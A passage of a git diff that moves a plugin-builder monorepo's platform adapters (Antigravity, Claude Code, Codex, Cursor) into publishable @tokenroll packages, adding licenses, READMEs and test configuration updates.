@tokenroll/acplugin-platform-codex run build && pnpm run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, diff --git a/packages/extensions/hooks/test/hooks.test.ts b/packages/extensions/hooks/test/hooks.test.ts index 3405e9c..e9a6f97 100644 --- a/packages/extensions/hooks/test/hooks.test.ts +++ b/packages/extensions/hooks/test/hooks.test.ts @@ -15,6 +15,13 @@ const extensionEntry = path.join(repositoryRoot, 'packages/extensions/hooks/dist /** 需要自定义 Platform 时由配置文件直接加载的主包构建产物。 */ const acpluginEntry = path.join(repositoryRoot, 'packages/acplugin/dist/index.mjs'); +/** 配置覆盖使用的三个独立 Platform 真实构建入口。 */ +const claudeCodeEntry = path.join(repositoryRoot, 'packages/platforms/claude-code/dist/index.mjs'); +/** Hook 测试自定义配置使用的 Codex Platform 构建入口。 */ +const codexEntry = path.join(repositoryRoot, 'packages/platforms/codex/dist/index.mjs'); +/** Hook 测试自定义配置使用的 Cursor Platform 构建入口。 */ +const cursorEntry = path.join(repositoryRoot, 'packages/platforms/cursor/dist/index.mjs'); + /** 当前测试创建并在 afterEach 中统一删除的临时工程。 */ const temporaryRoots: string[] = []; @@ -181,13 +188,14 @@ async function createProject(options: ProjectFixtureOptions = {}): Promise { /** 只配置 Cursor、且拥有实际 Hook 资源的工程。 */ const cursorRoot = await createProject({ hooks: [{ id: 'stop', definition: `{ event: 'Stop', run() {} }` }], - configImports: `import { cursor } from ${JSON.stringify(acpluginEntry)};`, + configImports: `import cursor from ${JSON.stringify(cursorEntry)};`, configFields: 'platforms: [cursor({ strict: false })], build: { strict: false },', }); /** relaxed 模式使用 Cursor 事件映射并保留 transform 结论。 */ @@ -741,7 +749,7 @@ describe('Hooks Extension', () => { /** Stop 使用有语义 matcher 的严格构建工程。 */ const root = await createProject({ hooks: [{ id: 'stop', definition: `{ event: 'Stop', matcher: 'quality-gate', run() {} }` }], - configFields: 'build: { strict: true },', + configFields: 'platforms: [claudeCode(), codex()], build: { strict: true },', }); /** strict 模式因当前 Hook 的 Codex matcher 损失而失败。 */ const strict = await runProject({ cwd: root, command: 'validate', mode: 'production' }); @@ -770,7 +778,7 @@ describe('Hooks Extension', () => { /** 只配置 Claude Code,避免其他 Platform 的兼容性结论干扰断言。 */ const root = await createProject({ hooks: [{ id: 'stop', definition: `{ event: 'Stop', matcher: 'quality-gate', run() {} }` }], - configImports: `import { claudeCode } from ${JSON.stringify(acpluginEntry)};`, + configImports: `import claudeCode from ${JSON.stringify(claudeCodeEntry)};`, configFields: 'platforms: [claudeCode()], build: { strict: true },', }); /** meaningful matcher 被宿主静默忽略,因此严格模式必须失败。 */ @@ -803,7 +811,7 @@ describe('Hooks Extension', () => { id: 'setup', definition: `{ event: { platform: 'claude-code', name: 'Setup' }, run() {} }`, }], - configImports: `import { codex } from ${JSON.stringify(acpluginEntry)};`, + configImports: `import codex from ${JSON.stringify(codexEntry)};`, configFields: 'platforms: [codex({ strict: false })], build: { strict: false },', }); /** Platform 缺失应在 Bundle 前失败。 */ diff --git a/packages/extensions/mcp/test/mcp.test.ts b/packages/extensions/mcp/test/mcp.test.ts index 155784c..3a00e4b 100644 --- a/packages/extensions/mcp/test/mcp.test.ts +++ b/packages/extensions/mcp/test/mcp.test.ts @@ -15,6 +15,11 @@ const extensionEntry = path.join(repositoryRoot, 'packages/extensions/mcp/dist/i /** 测试子进程直接加载的主包构建产物。 */ const acpluginEntry = path.join(repositoryRoot, 'packages/acplugin/dist/index.mjs'); +/** MCP 生命周期测试显式配置的两个独立 Platform 构建入口。 */ +const claudeCodeEntry = path.join(repositoryRoot, 'packages/platforms/claude-code/dist/index.mjs'); +/** MCP 生命周期测试显式配置的 Codex Platform 构建入口。 */ +const codexEntry = path.join(repositoryRoot, 'packages/platforms/codex/dist/index.mjs'); + /** 当前测试创建并在 afterEach 中统一删除的临时工程。 */ const temporaryRoots: string[] = []; @@ -225,10 +230,13 @@ process.stdin.on('data', (chunk) => { } await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` import mcp from '@tokenroll/acplugin-extension-mcp'; +import claudeCode from ${JSON.stringify(claudeCodeEntry)}; +import codex from ${JSON.stringify(codexEntry)}; export default { name: 'mcp-fixture', version: '1.0.0', description: 'MCP integration fixture.', + platforms: [claudeCode(), codex()], extensions: [mcp(${options.mcpOptions ?? ''})], ${options.configFields ?? 'build: { strict: false },'} }; diff --git a/packages/platforms/antigravity/LICENSE b/packages/platforms/antigravity/LICENSE new file mode 100644 index 0000000..9113de7 --- /dev/null +++ b/packages/platforms/antigravity/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 TokenRollAI + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/packages/platforms/antigravity/README.md b/packages/platforms/antigravity/README.md new file mode 100644 index 0000000..9af342a --- /dev/null +++ b/packages/platforms/antigravity/README.md @@ -0,0 +1,25 @@ +# @tokenroll/acplugin-platform-antigravity + +Antigravity Platform package for `@tokenroll/acplugin`. + +```bash +pnpm add -D @tokenroll/acplugin @tokenroll/acplugin-platform-antigravity +``` + +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import antigravity from '@tokenroll/acplugin-platform-antigravity'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + platforms: [antigravity()], +}); +``` + +The package also exports the named `antigravity` factory, its option types, `PLATFORM_ID`, and `PLATFORM_API_VERSION`. + +## License + +MIT diff --git a/packages/platforms/antigravity/package.json b/packages/platforms/antigravity/package.json index 9a4d4ad..013e7c7 100644 --- a/packages/platforms/antigravity/package.json +++ b/packages/platforms/antigravity/package.json @@ -1,17 +1,26 @@ { - "name": "@acplugin/platform-antigravity", - "version": "0.0.0", - "private": true, + "name": "@tokenroll/acplugin-platform-antigravity", + "version": "1.0.0", + "description": "Antigravity Platform adapter for acplugin.", "type": "module", - "engines": { "node": ">=20" }, + "license": "MIT", + "homepage": "https://github.com/TokenRollAI/acplugin#antigravity-platform", + "repository": { "type": "git", "url": "git+https://github.com/TokenRollAI/acplugin.git", "directory": "packages/platforms/antigravity" }, + "bugs": { "url": "https://github.com/TokenRollAI/acplugin/issues" }, + "sideEffects": false, + "engines": { "node": "^20.19.0 || ^22.13.0 || >=23.5.0" }, "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, + "files": ["dist", "README.md", "LICENSE"], + "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, - "dependencies": { "@acplugin/core": "workspace:*" }, + "peerDependencies": { "@tokenroll/acplugin": "workspace:^" }, "devDependencies": { + "@acplugin/core": "workspace:*", + "@tokenroll/acplugin": "workspace:^", "@types/node": "catalog:", "tsdown": "catalog:", "@typescript/native": "catalog:", diff --git a/packages/platforms/antigravity/src/components.ts b/packages/platforms/antigravity/src/components.ts index 73f8ed0..a6c228d 100644 --- a/packages/platforms/antigravity/src/components.ts +++ b/packages/platforms/antigravity/src/components.ts @@ -6,7 +6,7 @@ import { type PlatformGenerateContext, type PlatformPrepareContext, type PluginProject, -} from '@acplugin/core'; +} from '@tokenroll/acplugin'; /** Antigravity 1.0 暂不开放未经官方文档确认的 Component 专属字段。 */ const COMPONENT_FIELDS = new Set(); diff --git a/packages/platforms/antigravity/src/index.ts b/packages/platforms/antigravity/src/index.ts index 508ca13..3c8c038 100644 --- a/packages/platforms/antigravity/src/index.ts +++ b/packages/platforms/antigravity/src/index.ts @@ -1,4 +1,4 @@ -import { definePlatform, type AcpluginPlatform } from '@acplugin/core'; +import { definePlatform, type AcpluginPlatform } from '@tokenroll/acplugin'; import { generateComponentArtifacts, validateAntigravityComponentFields, @@ -54,3 +54,5 @@ export function antigravity(options: AntigravityPlatformOptions = {}): AcpluginP validateBundle: validateAntigravityBundle, }); } + +export default antigravity; diff --git a/packages/platforms/antigravity/src/manifest.ts b/packages/platforms/antigravity/src/manifest.ts index 0b4a6ab..5d57053 100644 --- a/packages/platforms/antigravity/src/manifest.ts +++ b/packages/platforms/antigravity/src/manifest.ts @@ -5,7 +5,7 @@ import { type DraftDocument, type JsonObject, type PlatformPrepareContext, -} from '@acplugin/core'; +} from '@tokenroll/acplugin'; /** Antigravity Plugin 清单的稳定逻辑 Document ID。 */ export const PLUGIN_MANIFEST_ID = 'plugin-manifest'; diff --git a/packages/platforms/antigravity/src/validator.ts b/packages/platforms/antigravity/src/validator.ts index 75842a8..730a71f 100644 --- a/packages/platforms/antigravity/src/validator.ts +++ b/packages/platforms/antigravity/src/validator.ts @@ -1,6 +1,6 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; -import type { PlatformValidateContext } from '@acplugin/core'; +import type { PlatformValidateContext } from '@tokenroll/acplugin'; import { PLUGIN_MANIFEST_PATH } from './manifest.js'; /** diff --git a/packages/platforms/antigravity/test/platform.test.ts b/packages/platforms/antigravity/test/platform.test.ts index 9278477..a0519f6 100644 --- a/packages/platforms/antigravity/test/platform.test.ts +++ b/packages/platforms/antigravity/test/platform.test.ts @@ -48,7 +48,7 @@ function resolvedConfig(root: string): ResolvedConfig { version: '1.2.3', description: 'Release workflow tools.', platforms: [antigravity()], - }, path.join(root, 'acplugin.config.ts'), 'build', 'production', { defaultPlatforms: [antigravity()] }); + }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); expect(result.diagnostics).toEqual([]); return result.config!; } diff --git a/packages/platforms/antigravity/tsdown.config.ts b/packages/platforms/antigravity/tsdown.config.ts index dd84b84..98b8301 100644 --- a/packages/platforms/antigravity/tsdown.config.ts +++ b/packages/platforms/antigravity/tsdown.config.ts @@ -9,4 +9,5 @@ export default defineConfig({ dts: { generator: 'oxc' }, clean: true, sourcemap: false, + deps: { neverBundle: ['@tokenroll/acplugin'] }, }); diff --git a/packages/platforms/antigravity/vitest.config.ts b/packages/platforms/antigravity/vitest.config.ts new file mode 100644 index 0000000..c816bb4 --- /dev/null +++ b/packages/platforms/antigravity/vitest.config.ts @@ -0,0 +1,12 @@ +import { fileURLToPath } from 'node:url'; +import { defineConfig } from 'vitest/config'; + +/** Antigravity 单测让公开主包与私有 Core 共享同一源码品牌实例。 */ +export default defineConfig({ + resolve: { + alias: { + '@acplugin/core': fileURLToPath(new URL('../../core/src/index.ts', import.meta.url)), + '@tokenroll/acplugin': fileURLToPath(new URL('../../acplugin/src/index.ts', import.meta.url)), + }, + }, +}); diff --git a/packages/platforms/claude-code/LICENSE b/packages/platforms/claude-code/LICENSE new file mode 100644 index 0000000..9113de7 --- /dev/null +++ b/packages/platforms/claude-code/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 TokenRollAI + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/packages/platforms/claude-code/README.md b/packages/platforms/claude-code/README.md new file mode 100644 index 0000000..6388ab2 --- /dev/null +++ b/packages/platforms/claude-code/README.md @@ -0,0 +1,25 @@ +# @tokenroll/acplugin-platform-claude-code + +Claude Code Platform package for `@tokenroll/acplugin`. + +```bash +pnpm add -D @tokenroll/acplugin @tokenroll/acplugin-platform-claude-code +``` + +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + platforms: [claudeCode()], +}); +``` + +The package also exports the named `claudeCode` factory, its option types, `PLATFORM_ID`, and `PLATFORM_API_VERSION`. + +## License + +MIT diff --git a/packages/platforms/claude-code/package.json b/packages/platforms/claude-code/package.json index f16af91..f014d4d 100644 --- a/packages/platforms/claude-code/package.json +++ b/packages/platforms/claude-code/package.json @@ -1,17 +1,26 @@ { - "name": "@acplugin/platform-claude-code", - "version": "0.0.0", - "private": true, + "name": "@tokenroll/acplugin-platform-claude-code", + "version": "1.0.0", + "description": "Claude Code Platform adapter for acplugin.", "type": "module", - "engines": { "node": ">=20" }, + "license": "MIT", + "homepage": "https://github.com/TokenRollAI/acplugin#claude-code-platform", + "repository": { "type": "git", "url": "git+https://github.com/TokenRollAI/acplugin.git", "directory": "packages/platforms/claude-code" }, + "bugs": { "url": "https://github.com/TokenRollAI/acplugin/issues" }, + "sideEffects": false, + "engines": { "node": "^20.19.0 || ^22.13.0 || >=23.5.0" }, "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, + "files": ["dist", "README.md", "LICENSE"], + "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, - "dependencies": { "@acplugin/core": "workspace:*" }, + "peerDependencies": { "@tokenroll/acplugin": "workspace:^" }, "devDependencies": { + "@acplugin/core": "workspace:*", + "@tokenroll/acplugin": "workspace:^", "@types/node": "catalog:", "tsdown": "catalog:", "@typescript/native": "catalog:", diff --git a/packages/platforms/claude-code/src/components.ts b/packages/platforms/claude-code/src/components.ts index 177e906..ed5da27 100644 --- a/packages/platforms/claude-code/src/components.ts +++ b/packages/platforms/claude-code/src/components.ts @@ -7,7 +7,7 @@ import { type PlatformComponentValidationContext, type PlatformGenerateContext, type PluginProject, -} from '@acplugin/core'; +} from '@tokenroll/acplugin'; /** Command 允许补充的 Claude Code 专属字段。 */ const COMMAND_FIELDS = new Set(['allowedTools', 'model']); diff --git a/packages/platforms/claude-code/src/index.ts b/packages/platforms/claude-code/src/index.ts index 2be0560..e95867f 100644 --- a/packages/platforms/claude-code/src/index.ts +++ b/packages/platforms/claude-code/src/index.ts @@ -2,7 +2,7 @@ import { definePlatform, type AcpluginPlatform, type JsonObject, -} from '@acplugin/core'; +} from '@tokenroll/acplugin'; import { generateComponentArtifacts, validateClaudeComponentFields } from './components.js'; import { createManifestDocument, @@ -83,3 +83,5 @@ export function claudeCode(options: ClaudeCodePlatformOptions = {}): AcpluginPla }, }); } + +export default claudeCode; diff --git a/packages/platforms/claude-code/src/manifest.ts b/packages/platforms/claude-code/src/manifest.ts index f22e3f3..3de544d 100644 --- a/packages/platforms/claude-code/src/manifest.ts +++ b/packages/platforms/claude-code/src/manifest.ts @@ -9,7 +9,7 @@ import { type PlatformDistributionContext, type PlatformPrepareContext, type PluginMetadata, -} from '@acplugin/core'; +} from '@tokenroll/acplugin'; import { hasComponents } from './components.js'; import type { ClaudeCodeMarketplaceManifest, diff --git a/packages/platforms/claude-code/src/validator.ts b/packages/platforms/claude-code/src/validator.ts index cfef1a2..5aa070b 100644 --- a/packages/platforms/claude-code/src/validator.ts +++ b/packages/platforms/claude-code/src/validator.ts @@ -1,6 +1,6 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; -import type { JsonValue, PlatformValidateContext } from '@acplugin/core'; +import type { JsonValue, PlatformValidateContext } from '@tokenroll/acplugin'; import { MARKETPLACE_MANIFEST_PATH, PLUGIN_MANIFEST_PATH } from './manifest.js'; /** Claude Code Plugin 清单允许出现的官方根字段。 */ diff --git a/packages/platforms/claude-code/test/platform.test.ts b/packages/platforms/claude-code/test/platform.test.ts index f657d13..92d08d6 100644 --- a/packages/platforms/claude-code/test/platform.test.ts +++ b/packages/platforms/claude-code/test/platform.test.ts @@ -130,7 +130,7 @@ function resolvedConfig( platforms: [platform], extensions, build: { outDir: 'dist', strict: true }, - }, path.join(root, 'acplugin.config.ts'), command, 'production', { defaultPlatforms: [platform] }); + }, path.join(root, 'acplugin.config.ts'), command, 'production'); expect(result.diagnostics).toEqual([]); return result.config!; } diff --git a/packages/platforms/claude-code/tsdown.config.ts b/packages/platforms/claude-code/tsdown.config.ts index 6f670e9..1ef53af 100644 --- a/packages/platforms/claude-code/tsdown.config.ts +++ b/packages/platforms/claude-code/tsdown.config.ts @@ -9,4 +9,5 @@ export default defineConfig({ dts: { generator: 'oxc' }, clean: true, sourcemap: false, + deps: { neverBundle: ['@tokenroll/acplugin'] }, }); diff --git a/packages/platforms/claude-code/vitest.config.ts b/packages/platforms/claude-code/vitest.config.ts new file mode 100644 index 0000000..db09e28 --- /dev/null +++ b/packages/platforms/claude-code/vitest.config.ts @@ -0,0 +1,12 @@ +import { fileURLToPath } from 'node:url'; +import { defineConfig } from 'vitest/config'; + +/** Claude Code 单测让公开主包与私有 Core 共享同一源码品牌实例。 */ +export default defineConfig({ + resolve: { + alias: { + '@acplugin/core': fileURLToPath(new URL('../../core/src/index.ts', import.meta.url)), + '@tokenroll/acplugin': fileURLToPath(new URL('../../acplugin/src/index.ts', import.meta.url)), + }, + }, +}); diff --git a/packages/platforms/codex/LICENSE b/packages/platforms/codex/LICENSE new file mode 100644 index 0000000..9113de7 --- /dev/null +++ b/packages/platforms/codex/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 TokenRollAI + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/packages/platforms/codex/README.md b/packages/platforms/codex/README.md new file mode 100644 index 0000000..f5a21df --- /dev/null +++ b/packages/platforms/codex/README.md @@ -0,0 +1,25 @@ +# @tokenroll/acplugin-platform-codex + +Codex Platform package for `@tokenroll/acplugin`. + +```bash +pnpm add -D @tokenroll/acplugin @tokenroll/acplugin-platform-codex +``` + +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import codex from '@tokenroll/acplugin-platform-codex'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + platforms: [codex()], +}); +``` + +The package also exports the named `codex` factory, its option types, `PLATFORM_ID`, and `PLATFORM_API_VERSION`. + +## License + +MIT diff --git a/packages/platforms/codex/package.json b/packages/platforms/codex/package.json index 291833b..2ac82a3 100644 --- a/packages/platforms/codex/package.json +++ b/packages/platforms/codex/package.json @@ -1,29 +1,31 @@ { - "name": "@acplugin/platform-codex", - "version": "0.0.0", - "private": true, + "name": "@tokenroll/acplugin-platform-codex", + "version": "1.0.0", + "description": "Codex Platform adapter for acplugin.", "type": "module", - "engines": { - "node": ">=20" - }, - "exports": { - ".": { - "types": "./dist/index.d.mts", - "import": "./dist/index.mjs" - } - }, + "license": "MIT", + "homepage": "https://github.com/TokenRollAI/acplugin#codex-platform", + "repository": { "type": "git", "url": "git+https://github.com/TokenRollAI/acplugin.git", "directory": "packages/platforms/codex" }, + "bugs": { "url": "https://github.com/TokenRollAI/acplugin/issues" }, + "sideEffects": false, + "engines": { "node": "^20.19.0 || ^22.13.0 || >=23.5.0" }, + "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, + "files": ["dist", "README.md", "LICENSE"], + "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, + "peerDependencies": { "@tokenroll/acplugin": "workspace:^" }, "dependencies": { - "@acplugin/core": "workspace:*", "image-size": "^2.0.2", "saxes": "^6.0.0", "yaml": "^2.9.0" }, "devDependencies": { + "@acplugin/core": "workspace:*", + "@tokenroll/acplugin": "workspace:^", "@types/node": "catalog:", "tsdown": "catalog:", "@typescript/native": "catalog:", diff --git a/packages/platforms/codex/src/components.ts b/packages/platforms/codex/src/components.ts index 43807f2..c869a6a 100644 --- a/packages/platforms/codex/src/components.ts +++ b/packages/platforms/codex/src/components.ts @@ -8,7 +8,7 @@ import { type PlatformGenerateContext, type PlatformPrepareContext, type PluginProject, -} from '@acplugin/core'; +} from '@tokenroll/acplugin'; import { CODEX_BRAND_COLOR_PATTERN, CODEX_SKILL_PRODUCTS } from './protocol.js'; /** Codex Skill `agents/openai.yaml` 允许配置的 Component 专属字段。 */ diff --git a/packages/platforms/codex/src/index.ts b/packages/platforms/codex/src/index.ts index 7d98a22..ee88f2e 100644 --- a/packages/platforms/codex/src/index.ts +++ b/packages/platforms/codex/src/index.ts @@ -2,7 +2,7 @@ import { definePlatform, type AcpluginPlatform, type JsonObject, -} from '@acplugin/core'; +} from '@tokenroll/acplugin'; import { generateComponentArtifacts, validateCodexComponentFields, @@ -94,3 +94,5 @@ export function codex(options: CodexPlatformOptions = {}): AcpluginPlatform { }, }); } + +export default codex; diff --git a/packages/platforms/codex/src/manifest.ts b/packages/platforms/codex/src/manifest.ts index 3755606..fa3f621 100644 --- a/packages/platforms/codex/src/manifest.ts +++ b/packages/platforms/codex/src/manifest.ts @@ -8,7 +8,7 @@ import { type JsonObject, type PlatformDistributionContext, type PlatformPrepareContext, -} from '@acplugin/core'; +} from '@tokenroll/acplugin'; import { hasGeneratedSkills } from './components.js'; import { CODEX_CATEGORIES, diff --git a/packages/platforms/codex/src/types.ts b/packages/platforms/codex/src/types.ts index e0bf55d..007ad05 100644 --- a/packages/platforms/codex/src/types.ts +++ b/packages/platforms/codex/src/types.ts @@ -1,4 +1,4 @@ -import type { JsonValue, PluginAuthor } from '@acplugin/core'; +import type { JsonValue, PluginAuthor } from '@tokenroll/acplugin'; import type { CodexCategory, CodexMarketplaceInstallation } from './protocol.js'; export type { CodexCategory, CodexMarketplaceInstallation } from './protocol.js'; diff --git a/packages/platforms/codex/src/validator.ts b/packages/platforms/codex/src/validator.ts index 1120bc6..761b232 100644 --- a/packages/platforms/codex/src/validator.ts +++ b/packages/platforms/codex/src/validator.ts @@ -1,6 +1,6 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; -import type { JsonValue, PlatformValidateContext } from '@acplugin/core'; +import type { JsonValue, PlatformValidateContext } from '@tokenroll/acplugin'; import { imageSize } from 'image-size'; import { parseDocument } from 'yaml'; import { MARKETPLACE_MANIFEST_PATH, PLUGIN_MANIFEST_PATH } from './manifest.js'; diff --git a/packages/platforms/codex/test/platform.test.ts b/packages/platforms/codex/test/platform.test.ts index ab281d0..f518006 100644 --- a/packages/platforms/codex/test/platform.test.ts +++ b/packages/platforms/codex/test/platform.test.ts @@ -104,7 +104,7 @@ function resolvedConfig( platforms: [platform], extensions, build: { outDir: 'dist', strict: true }, - }, path.join(root, 'acplugin.config.ts'), command, 'production', { defaultPlatforms: [platform] }); + }, path.join(root, 'acplugin.config.ts'), command, 'production'); expect(result.diagnostics).toEqual([]); return result.config!; } diff --git a/packages/platforms/codex/tsdown.config.ts b/packages/platforms/codex/tsdown.config.ts index e5a215f..81730c8 100644 --- a/packages/platforms/codex/tsdown.config.ts +++ b/packages/platforms/codex/tsdown.config.ts @@ -9,4 +9,5 @@ export default defineConfig({ dts: { generator: 'oxc' }, clean: true, sourcemap: false, + deps: { neverBundle: ['@tokenroll/acplugin'] }, }); diff --git a/packages/platforms/codex/vitest.config.ts b/packages/platforms/codex/vitest.config.ts new file mode 100644 index 0000000..384a43f --- /dev/null +++ b/packages/platforms/codex/vitest.config.ts @@ -0,0 +1,12 @@ +import { fileURLToPath } from 'node:url'; +import { defineConfig } from 'vitest/config'; + +/** Codex 单测让公开主包与私有 Core 共享同一源码品牌实例。 */ +export default defineConfig({ + resolve: { + alias: { + '@acplugin/core': fileURLToPath(new URL('../../core/src/index.ts', import.meta.url)), + '@tokenroll/acplugin': fileURLToPath(new URL('../../acplugin/src/index.ts', import.meta.url)), + }, + }, +}); diff --git a/packages/platforms/cursor/LICENSE b/packages/platforms/cursor/LICENSE new file mode 100644 index 0000000..9113de7 --- /dev/null +++ b/packages/platforms/cursor/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 TokenRollAI + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/packages/platforms/cursor/README.md b/packages/platforms/cursor/README.md new file mode 100644 index 0000000..e0dbb6e --- /dev/null +++ b/packages/platforms/cursor/README.md @@ -0,0 +1,25 @@ +# @tokenroll/acplugin-platform-cursor + +Cursor Platform package for `@tokenroll/acplugin`. + +```bash +pnpm add -D @tokenroll/acplugin @tokenroll/acplugin-platform-cursor +``` + +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import cursor from '@tokenroll/acplugin-platform-cursor'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + platforms: [cursor()], +}); +``` + +The package also exports the named `cursor` factory, its option types, `PLATFORM_ID`, and `PLATFORM_API_VERSION`. + +## License + +MIT diff --git a/packages/platforms/cursor/package.json b/packages/platforms/cursor/package.json index 2dcdc17..1a5d51a 100644 --- a/packages/platforms/cursor/package.json +++ b/packages/platforms/cursor/package.json @@ -1,17 +1,26 @@ { - "name": "@acplugin/platform-cursor", - "version": "0.0.0", - "private": true, + "name": "@tokenroll/acplugin-platform-cursor", + "version": "1.0.0", + "description": "Cursor Platform adapter for acplugin.", "type": "module", - "engines": { "node": ">=20" }, + "license": "MIT", + "homepage": "https://github.com/TokenRollAI/acplugin#cursor-platform", + "repository": { "type": "git", "url": "git+https://github.com/TokenRollAI/acplugin.git", "directory": "packages/platforms/cursor" }, + "bugs": { "url": "https://github.com/TokenRollAI/acplugin/issues" }, + "sideEffects": false, + "engines": { "node": "^20.19.0 || ^22.13.0 || >=23.5.0" }, "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, + "files": ["dist", "README.md", "LICENSE"], + "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, - "dependencies": { "@acplugin/core": "workspace:*" }, + "peerDependencies": { "@tokenroll/acplugin": "workspace:^" }, "devDependencies": { + "@acplugin/core": "workspace:*", + "@tokenroll/acplugin": "workspace:^", "@types/node": "catalog:", "tsdown": "catalog:", "@typescript/native": "catalog:", diff --git a/packages/platforms/cursor/src/components.ts b/packages/platforms/cursor/src/components.ts index 990ac7d..68632bc 100644 --- a/packages/platforms/cursor/src/components.ts +++ b/packages/platforms/cursor/src/components.ts @@ -6,7 +6,7 @@ import { type PlatformComponentValidationContext, type PlatformGenerateContext, type PluginProject, -} from '@acplugin/core'; +} from '@tokenroll/acplugin'; /** Cursor 1.0 暂不开放未经独立 Schema 验证的 Component 专属字段。 */ const COMPONENT_FIELDS = new Set(); diff --git a/packages/platforms/cursor/src/index.ts b/packages/platforms/cursor/src/index.ts index 179b75f..4e8a25c 100644 --- a/packages/platforms/cursor/src/index.ts +++ b/packages/platforms/cursor/src/index.ts @@ -1,4 +1,4 